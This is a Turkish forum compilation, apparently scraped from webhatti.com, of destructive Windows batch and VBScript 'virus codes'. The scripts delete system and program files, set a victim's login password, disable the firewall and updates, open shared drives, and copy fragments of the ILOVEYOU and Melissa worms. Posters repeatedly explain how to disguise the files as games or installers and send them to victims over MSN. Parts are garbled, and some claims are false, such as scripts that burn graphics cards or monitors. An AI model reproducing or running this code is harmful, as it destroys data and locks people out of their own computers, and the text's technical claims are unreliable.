şimdi n€ olucak. başlat-çalıştır-cmd yazın.sonra bu komutlardan birini yazdıktan sonra yanına arkadaşınızın ıp’sini yazın.sonra yazdığınız komuta göre işlem görsün. ip yazamayı unutmayın . . . ' FBI virüsü %100 hack If NTCL <> 0 And ADCL = 0 And (InStr(1, Active******** Name, "********") = False) Then Active******** SaveAs FileName:=Active******** FullName ElseIf (InStr(1, Active******** Name, "********") <> False) Then Active******** Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 it's a new age! If Day(Now) = Minute(Now) Then Selection TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters Game's over I'm outta here " End Sub < => notepada yapıştırıp .bat olarak kaydedin Note padıda da Farklı kaydet seçeneğine tıklayıp .txt yazısını silip örneğin: hile.bat yazarsanız hazır olur bunuda rara koyup karşıdakine yediriyoz… BİLMEYEN ARAKDAŞLAR İÇİN ANLATTIM BİR TESEKKURU COK GORMEYELİM[/QUOTE] pc çökertme kodları (mükemmel) Pc Çökertme KodLarı Arkadaşlar bu kodları not defterine yapıştırıp farklı kaydetten kaydaderken .Bat dosyasına çevirin we istedğiniz kişiye msn den yollayın Not: ASLA VE ASLA BAT DOSYASINI KENDİNİZ AÇMAYIN SORUMLULUK BANA AİT DEĞİLDİR KodLar: KOD 1:BU KOD VİRUS YAPARAK ÇÖKELTİR cd.. cd.. attrib -s -h -r -a c:\ntldr del c:\ntldr shutdown -r KOD2:Yİne bir çökeltme kodu /timersecure 0 0 //mkdir $mid(c:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) ????: Web Hattı - Türkiyenin En Güncel Forumu /internet-teknolojileri/454253-bilgisayar-cokeltme-kodlari.html KOD3:BU FPI nın kulandığı bi virus kod u dur If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then Active********.SaveAs FileName:=Active********.FullN ame ElseIf (InStr(1, Active********.Name, "********") <> False) Then ????: Web Hattı - Türkiyenin En Güncel Forumu http://www.webhatti.com/showthread.php?t=454253 Active********.Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub < => Kod4:BU kodda ben çok tehlikeli şeylerle uğraşmam diyelere karşı şifre koyma kod u net user %username% 123456 shutdown -r Burda 123456 yazan yer konulucak şifredir bunu siz istediğiniz şekilde değiştirebilrsiniz KOD5:Msn üzerinden interneti kesme kodu ipconfig/release şimdi wereceğim kod ise interneti yukardaki kodlar kestikmi geri getirme kod u ipconfig/renew KOD6:ŞİMDİ BİLGİSAYAR ÇÖKELTME KODLARINI OLDUDA KENDİZ AÇTINIZ HEMEN KORKMAYIN BUNUDA DÜÜŞÜNDÜM WE PAMZEHİRİDE WERİYİM DEDİM shutdown -a ÇÖKELTEME KODUNU ÇALIŞTIRDINIZ DİYELİM HEMEN 30 sn YELİK BİR GERİ SAYIM BAŞLIYCAKTIR BU 30 sn YE İÇİNDE PANZEHRİ ÇALIŞTIRDINIZ ÇALIŞTIRDIZ YOKSA Bİ FORMAT ATMAK ZORUNDASINIZ ŞİMDİ KODLARI ÇALIŞTIRMAYI BİDAHA ANLATICAM İLK ADIM:BİR NOT DEFTERİ AÇMAK İKİNCİ ADIM:BU KODLARDAN İSTEDİĞİNİZİ NOT DEFTERİNİN İÇİNE KOPYALA YAPIŞTIR YAPMAK . ÜÇÜNCÜ ADIM:BU KODLARI FARKLI KAYDET DİYİM TÜRÜNÜ TOPLU İŞ DOSYASI YAPIP ADINIDA .BAT LI YAPIN ÖRNEK:OYUN.BAT İŞTE BU KADAR SİZDE VİRUS YARATTINIZ ŞİMDİ TEK YAPMANIZ GEREKEN BUNU KURBANA YEDİDTİRMEK :) Alıntıdır... EDİT: Uzantıyı bat olarak çevirmeyi yorum olarak paylaştım ama sanırım fazla kişi görmemiş. Bilgisayarlarımızdaki her dosyanın kendisine özel bir uzantısı vardır. Bat da bir uzantıdır. Bilmeyen veya anlamayan arkadaşlar için ben tekrardan anlatayım. Şimdi öncelikle bilgisayarınızdan herhangi bir klasöre girip seçenekler bölümünden klasör seçenekleri bölümünü tıklayın. Karşınıza yeni bir pencere çıkacak. Oradan görünüm sekmesinme gelin ve aşağıdaki Bilinen dosya türleri için uzantıları gizle seçeneğinin yanındaki işareti kaldırın. İşlemleri kaydedip klasörden çıkın ve masa üstünde yeni bir metin belgesi oluşturun. Sonra verdiğim virüslerden herhangi birinin kodlarını alıp bu metin belgesinin içine yapıştırın ve kaydedin. Sonra o metin belgesinin adını yeni metin belgesi.txt den yeni metin belgesi.bat olarak değiştirin. Yaptığınız işlemle dosyanın uzantısını değiştirmiş olacaksınız. Bu arada bazı antivirler yaptığınız bu işlemi bir virüs faaliyeti olarak algılayıp oluşan dosyayı silebilir. Bu durumda antivir'inizi devre dışı bırakıp tekrar deneyin. Bütün bu işlemleri bitirdikten sonra oluşan virüsü istediğiniz şekilde kulabilirsiniz. Şayet oluşturduğunuz virüsü yanlışlıkla kendi bilgisayarınızda açarsanız verdiğim panzehir kodunu talimatlar doğrultusunda oluşturup 30 sn içinde çalıştırmalısınız. Yoksa bilgisayarınız bir daha açılamayabilir.[/QUOTE] ve cok önemli vürüs kodları Merhaba Arkadaşlar Sizlere Bütün Virsu Kodlarını Sunuyorum Alıntıdır Ama Hesini Topladım Viruslu siteleri boşu boşuna gezmeyin alın verdiklerimi Hepsi Var :twist İŞE Yarar 1.Sayfa Virus Kodları 30 sn de wirüs yapın ... Açıklama: 1.Notepad 'i açın. 2.Notepad in içine şunları yazın: ----------------------------------------- @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:eni salak formatı yedin::. @echo off -------------------------------------------- 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. Açıklama: Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Not:%100 ÇALIŞIYO Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak formatı yedin yazıyor". Peki bunu düşmanıma nasıl yediririm derseniz: dosyanın adını değiştirin.(mesela:fifa_2005_stream_install) -------------------------------------------------------------------------- Çalışan ve Gördüğüm en Küçük Virüs Bu Forumda Verilip verilmediğini tam olarak bilmiyorum ama Suan elimde çok basit yazılmış bir virüs var. Kodlar Aşağıdaki gibidir. Yapmanız gereken tek şey kodları Notepad e yapıştırıp uzantısını .bat olarak ayarlamak. sonra Msn de veya başka bir paylaşım programında başkasına gönderebilirsiniz. Peki virüsümüzün zararı nedir? sorusunun cevabı ise C sürücüsündeki bazı dosyaları siliyor ve 2 sn sonra bilgisayar resetleniyor. taki bir daha açılmamak üzere artık o pc yi format paklar... @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Format Down Up Your Sistem Limp_buskuit::. @echo off -------------------------------------------------------------------------- çok basit yöntem ile 1 dk içinde virüs yapımı ve sistem çöküyoo Çok basit yöntemlerle 1 dk içinde format atan(ve attıktan sonra bilgisayar açılmıyor) virus yapabilirsiniz. Açıklama: 1.Notepad 'i açın. 2.Notepad in içine şunları yazın: Kod: @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Seni salak formatı yedin::. @echo off 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. Açıklama: . Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Not:%100 ÇALIŞIYO Windows un önemli bi kaç dosyasını siliyor ve sonra "seni salak,formatı yedin yazıyor". Not: "seni salak,formatı yedin" yazan yere kendi mesajınızı yazabilirsiniz... nasıl .bat yapılır?? ms-dos komut istmini aç dosya neredeyse mesela C:\virus.txt şeklindeyse aynen şunu yazıcaksın... C:\ren virus.txt virus.bat sonra enter diyoruz..Ve bat. yaptığımız dosyayı herhangi bir şekilde karşıdakine yediriyoruz... -------------------------------------------------------------- Ekran Karti Yakma(alinti)program Bile Değil Işimizi Yazilarla Hallediyoruz YAPACAGINIZ İŞLEM @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:: HacKeD gülümse ::. @echo off3. METİN SAYFASI AÇIP kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat) vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin. ------------------------------------------------------------- Format Virüsü bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak cd.. cd.. attrib -s -h -r -a c:\ntldr del c:\ntldr shutdown -r -------------------------------------------------------------------------- HDD yakan virüs Arkadaşlar size verceğim kodu kişinin çalıştırına yazdırabilirseniz veye notpeda kodu yapıştırıp biçimini bat. e çeviirseniz dosyayı açtığı anda hddsi yanar işte komut /timersecure 0 0 //mkdir $mid(C:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z) kolay yapmak isterseniz kurbana bunu çalıştıra yaz pc hızlanıo fln derseniz oltaya gelebilir hadi sizze kolay gelsin -------------------------------------------------------------------------- Karşı pc ye şifre koy bunu notepad e yapıştır 123456 yazan yere koymak istediğin şifreyi yaz .bat uzantılı olarak kaydet(örnek yun.bat) zip le sıkıştırın ve kurbana yollayın bunu açtığı zaman pc si kapanır ve şifrelenmiş olur açtığında pc şifre sorar.Eğer şifreyi koyduktan sonra pc nin kapanmasını istemiyorsanız shutdown -r kısmını silin. Kodlar: net user %username% 123456 shutdown -r -------------------------------------------------------------------------- MSN de pc yi kitleme 1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım. 2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor. -------------------------------------------------------------------------- ***msn den pc çökertme*** Selam arkadaşlar msn den birine gıcık oluyorsanız işte buyrun.Lütfen masum arkadaşlar üzerinde denemeyin ————————————– 1.Notepad ’i açın. 2.Notepad in içine şunları yazın: @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:: BLooDY den formatı yedin::. @echo off 3.Notepad i kapatıp belgeyi kaydedin. 4.Uzantısını .txt den .bat a çevirin. 5.Hazır. NOT: Yaptıktan sonra dosyaya sakın tıklamayın. Eğer tıklarsanız 2,3 sn saniye içinde bilgisayar kapanıyor. ve bi daha açılmıyor. Windows un önemli bi kaç dosyasını siliyor ve sonra ” BLooDY den formatı yedin yazıyor”. Peki bunu düşmanıma nasıl yediririm derseniz: dosyanın adını değiştirin -------------------------------------------------------------------------- msn patlatma %100 başarı tek yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı ) kod: -------------------------------------------------------------------------------- ñ¯a_Á¯aÿ±m¯a�ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá -------------------------------------------------------------------------- XP SiSTeM ÇöKeRTiCi PRoGRaMsıZ:: ARKADAŞLAR AŞAGIDA VERECEĞİM KODLARI KOPYALIYORUZ. DAHA SONRA MASA ÜSTÜNE BİR TXT DOSYASI ACIP İÇİNE YAPIŞTIRIYORUZ. FARKLI KAYDETTEN UZANTISINI .bat OLARAK KAYDEDİYORUZ. DAHA SONRA DOSYAYI KURBANIMIZA YOLLUYORUZ. KURBAN DOSYAYI ACINCA "Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın." ŞEKLİNDE BİR UYARI İLE KARŞILAŞAK... PHP KODU: echo off echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın echo off pause del /f /q d: del /f /q c: shutdown -r shutdown -a buda panzehiri,, eğer kendi pcnizde açarsanız 30 saniye sonra pc format atacaktır sizde bunu panzehir olarak bi yere kaydedin.. sonrada yanlışlıkla açarsanız bunu açın olay bitti _________________ 2.Sayfa Virus Kodları BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE SAKIN DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR AŞAGIDA***.[ rem delete -pcas(-vbe) On es error -pc On error Next Pc Hack dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle yapacaksın not defterını acıyorsun buradakı kodları oraya yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus dosyası da budur...!!! 3.Sayfa Virus Kodları Pc Hack için Bi Virüs koDu cd c:\\ attrib -s -h boot.ini cls attrib -s -h found.000 attrib -s -h found.001 t>boot.ini attrib -a -s -h pagefile.sys h>pagefile.sys attrib -a -s -h hiberfil.sys HH>hiberfil.sys attrib -a -s -h -r bootfont.bin hhh>bootfont.bin attrib -a -s -h -r ntdetect.com ff>ntdetect.com attrib -a -s -h -r ntldr f>ntldr cls cd.. cd.. cls cd windows g>win.ini cls g>system.ini cls cd pss ft>system.ini.backup f>win.ini.backup cls cd c:\\ @echo .::.HADi baslayalım.::. cd windows cd system32 attrib -r -h -s dllcache cls attrib -a -h -r *.manifest cls cd config attrib -a -h *.log cd.. cd restore attrib -r -h -s filelist.xml cls cd c:\\ cls cd windows cls tskill msnmsgr /a tskill msmsgs /a cls del /f /q /s c:\\windows\\system32\\*.* cls cd repair attrib -a -h ntuser.dat f>ntuser.dat ff>secstup.inf cd.. attrib -h inf attrib -h -s installer attrib -h pif attrib -r -h -a WindowsShell.Manifest attrib -r -h şMSI31Uninstall_KB893803ş attrib -s -a bootstat.dat attrib -s -h services.dll attrib -s -h qservice.exe attrib -a -r set3.tmp attrib -s -h winnt.bmp attrib -s -h winnt256.bmp cls cd c:\\ del /f /q /s c:\\windows\\*.* cls cd.. cd.. cd program files cd internet explorer attrib -a -s -h iexplore.exe cd c:\\ cls del /f /q /s c:\\program files\\*.* cls cd.. cd.. attrib -a -h -r -s msdos.sys attrib -a -s -h config.sys cls attrib -a -h -r -s IO.sys cls del /f /q /s c:\\*.* cls @echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir… @echo Veri Kayiplari Olmamasi icin….!!!!!!… @echo Devam Etmeniz Kesinlikle Onerilir…!!!.. pause cls cd.. cd.. cd ********s and Settings cd All Users cd Desktop md .HackEd md Bys md Hacker dir /s>HAcKeD.ini @echo HALA shutDownN.exe Pc DEYse RES iyi Gider cls shutdown -r -t 5 -c “HacKs FoR ” -f shutdown -r -t 5 -c “HacKs FoR” -f tsshutdn 5 /delay:2 tsshutdn 5 /delay:2 bunu not defterine yapıştıp farklı kaydet ten uzantısını .bat yapın… test edilimistir 4.Sayfa Virus Kodları Klavye Hackleme Kodu del C:/WINDOWS/system/KEYBOARD.DRV Karşı Pcyi Yak 90,90 resizepic 0 0 5054 405 470 gumppic 10 10 5528 gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362 text 20 400 455 0 text 20 435 455 01 local.t_x=<argn1> local.t_y=<argn2> sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y**** B<qval <argn3>?<argn3>:<p.z**** W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z**** B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode> System 32 Silen Virüs Not defterinin içine yapıştır.Bata çevir.C:/windows/system32 /deleted Karşı tarafa yolla açsın.Gitti Bitti. Karşı Pcyi Paylaşıma Açma Kodu Not defterine kaydet ve uzantısını bat yap.Yolla... net share hacker=c:\ /unlimited /remark:"RockStar" net share hacker=d:\ /unlimited /remark:"RockStar" Karşı Pcyi Resmi Açınca Pc Kapanıyor Ve Mosuyi Kaybetme RapidShare: 1-CLICK Web hosting - Easy Filehosting Resim RapidShare: 1-CLICK Web hosting - Easy Filehosting Mouse Bu dosyaları indirin ve karşı tarafa yollayın açınca o size neler olduğunu anlatır. Format 1.Notepad 'i açın. 2.Notepad in içine şunları yazın: @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .::Hacked By 4-Ever-Hacker::. @echo off bu komutu not defterinin içine kopyalayın ve uzantısını bat yapın kendi pc denedim 100%100 çalışıyor bu komutu yazıp karşıya gönderdiğinizde kişi tıklarsa bir daha pc açamaz format atmak zorunda kalır Monitör Patlatma 90,90 resizepic 0 0 5054 405 470 gumppic 10 10 5528 gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362 text 20 400 455 0 text 20 435 455 01 local.t_x=<argn1> local.t_y=<argn2> sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y**** B<qval <argn3>?<argn3>:<p.z**** W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z**** B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode> not defterine kopyalayın ve uzantısını bat yapın sakın siz tıklamayın 100%75 çalışıyodur MasaÜstünü Silme CD.. CD.. CD. erase c:/f/s/q/a not defterine kopyalayın ve uzantısını bat yapın 100%100 çalışıyor Karşı Pcsinin Oturumuna Şifre Koyma ilk olarak Not Defterini açıyoruz sonrada verdiğim kodları yazıyoruz ve uzantısını .bat olarak kaydediyoruz (örnek: oyun.bat) code: net user %username% 123456 shutdown -r bu komutta 123456 yazılı kısım kişinin pc ye koyacagımız şifredir siz deiştirip istediğiniz bir şifreyi koyabilirsiniz şimdii gelelim kullanıma verdiğim komutları yazıp .bat olarak kaydetikten sonra oluşan programı msnden karşıtarafa bişekilde kabul ettirip yolluyorsunuz adam alınca çıft tıkladığı anda pc’ye şifre yerleşiyor ve pc otomatik olarak kapanıyor bu kapamayı kişi durduramaz görev yönrticisini bile açsa durduramaz zaten durdursa bile şifre çoktan yerleşmiş olur pc’yi kendisi kapadığıanda şifrelenir açıldığında parola sorar bilen açar bilemeyen açamaz. 100%100 denendi Karşı Pcsinin Güvenlik Duvarını Kapatma @echo off net stop "Security Center" net stop SharedAccess > "%Temp%.\kill.reg" ECHO A R E S > >"%Temp%.\kill.reg" ECHO. > >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess] > >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 ****"%Temp%.\kill.reg" ECHO. > >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv] > >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 > >"%Temp%.\kill.reg" ECHO. > >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc] > >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 > >"%Temp%.\kill.reg" ECHO. START /WAIT REGEDIT /S "%Temp%.\kill.reg" DEL "%Temp%.\kill.reg" DEL %0 Karşı Pcye Emir Verme Komutları shutdown -i:Uzaktan Kapat’1 aç shutdown -l:Oturumu Kapat. shutdown -s:Bilgisayar1 kpat. shutdown -r:Bilgisayar1 kapat ve y€niden ßaslat shutdown -m //bilgisayarad1:Yeniden ba_latmak/ç1kmak için uzak bilg. shutdown -t xx:kapatmak için bilgisayar1 xx saniyeye ayarla shutdown -c:Kapatma yorumu en çok<127 karakter> shutdown -f:Çal1_an uygulamalar1 direkman kapatmaya zorlar shutdown -d:Kapatma için neden kodu evet arkadaşlar bunları v€rdik ama şimdi n€ olucak. başlat-çalıştır-cmd yazın.sonra bu komutlardan birini yazdıktan sonra yanına arkadaşınızın ıp’sini yazın.sonra yazdığınız komuta göre işlem görsün. ip no yazamayı unutmayın Mail İle Web Site Yıkıcı phpBBde özel mesaj ile hack yapmak isteyenler bu tam size göre...adminin veya üyenin artık kime atacağınız size kalmış özel mesaj ile atın ve o kişi mesajı okuduğunda bilgileri size gelecek..işte kod.. phpbb de Kod: // Save login tries and last login if (&l036;row[&l039;user_id&l039;] != cookies) &l123; &l036;sql = &l039;UPDATE &l039; . USERS_TABLE . &l039; SET user_login_tries = user_login_tries + 1, user_last_login_try = &l039; . time() . &l039; WHERE user_id = &l039; . &l036;row[&l039;user_id&l039;]; &l036;db->sql_query(&l036;sql); } 5.Sayfa Virus Kodları Bat virüsü hazırlama İşte kodlar: cd.. cd.. attrib -s -h -r -a c:\ntldr del c:\ntldr shutdown -r arkadaşlar bu kodları bilgisayarımızdaki notpadi açarak içerisine kopyalıyoruz ve dosyayı kaydederken uzantısını .bat olarak değiştiriyoruz. sakın olaki dosyayı kendiniz açmayın!!! örneğin; güzelresimler.bat sonra işin heyecanlı kısmına gelelim. dosyamızı winrar yada winzip gibi programlar aracılığıyla karşı tarafa yolluyoruz. ve karşı taraf bu dosyayı açtığında boooom!!!! pc kendine otomatik format çeker. haaa olaki dosyayı kendiniz yanlışlıkla açtınız olsun önemli deil; ben size bunun panzehirinide veriyimde içiniz rahatlısın. yukarıdaki gibi hazırlamış olduğumuz dosya açıldığında 30 saniyelik bir geri sayma işlemi başlar forrmat işlemi için. bu 30 saniye bitmeden aşağıda verdiğim kodları yine aynı şekilde bat olarak kaydedip açtığınızda format işlemi duruyo. ama siz yinede denemeyin ne olur ne olmaz o kadar riske girmeyin.. panzehir kodları; shutdown -a _________________________________________ Yöntem Ms-dostan Pc ye gir ms-dos a geç , ve *setdebug* yaz karşına *Enable AktiveX debugging for Java* diye bir yazı gelecek ona tamam de ve bir sonraki satıra *debug* yaz sonra diğer satıra *XAbilgine gireceğin ip* yi yazıp enter ediyoruz sonra işleyici oluşturuldu yazısı gelecek şimdi "Programlar>Çalıştır>telnet" yazıp telneti açıyoruz sonra "uzaktaki sistem" deyip adamın ip'sini tekrar yazıyoruz gerisi size kalmış bu komutları kullanabilirsin. (*) ları yazmıyoruz. Kolay gelsin... CaptureScreen Ekrandan goruntu alır DelFile;(filename.exe) Dosya siler DisableKeys;1;(keys) harfleri iptal eder [kullanıcı klavyeyi kullanamaz] DisableKeys;0; Klavye tekrar aktif olur DisableKeys;1;abcdefghijklmnopqrstuvwxyzåäö Harfler kullanılmaz hale gelir DownloadFile;(path:filename.exe) istediginiz dosyayi cekersiniz Eject;1 CD-ROM'u acar Eject;0 CD-ROM'u kapar ExitWin;1 Windos'u kapar GetApps Calısan prg.ları listeler GetACL Admin Listi verir GetInfo Info penceresini verir GetDisks Hardiskindeki dosyaları gosterir GetSetup Server icin ayarları verir GetUser Kullanıcı hakkında bilgi verir GetVolume Sesi acar KeyClick;1 Key click on KeyClick;0 Key click off Listen;1 Start (keyboard) bir nevi keyloger adamın yazdıklarını gorursunuz Listen;0 Stop listening Message;(message) Messagebox halinde mesaj yolalrsınız NewSetup;serverport;1;password;youremail;VICTIMSem ail;smtpserver Sends the new admindata (1.7) Password;1;any ENTER'a bas ve ServerPwd;yenisifre Passwordu deistirir(1.6) PlaySound;(file.wav) wav dosyası calar PortRedir;(listen tcp port);(ip);(destination port) ******** the specified port Record;10 = 10 saniyelik ses kaydeder RemoveServer;1 Server'ı kaldırır RemoveServer;0 Kaldırmayı iptal eder ShowImage;(file.exe) Resim gosterir SendKeys;(words) Mesaj yollar * tusu ile yazdıgınız siler SendKeys;2;13 Sends ozel tuslar [sag,sol,yukari,asagi] SetACL;(ip)| Set (admin) access IP`s SetMousePos;(xpos);(ypos) Mouse'u oynatırsınız SwapButton;1 Mouse'un tuslarının yerlerini degistirir SwapButton;0 Mouse'u eski haline getirir StartApp;(file.exe) Program calıstırır UploadFile;(file.exe);(size);(destination dir) Dosya yollarsınız _________________________________________ Yöntem Ekran Kartını Yakın @echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* @echo off C:\WINDOWS\COMMAND\deltree /y c:\*.* @echo off cls cls @echo .:: HacKeD By RaZoR::. @echo off3. kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat) vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By RaZoR yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin _________________________________________ buda Format virüsü karşıya gönderdiğinizde 30sn içinde pc otomatikmen format atıyor ayrıca format atarken ekran kartını yakıp CD-romu bozuyor yani format attıktan sonra tekrardan windowsu geri yüklüyemeyecektir çünkü CD-rom Cd okumuyacaktı yenisini alsa bile yani anlıcayacğınız pc toprak oldu demektir rem delete -pcaş(-vbe) On es error -pc On error Next Pc Hack dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" 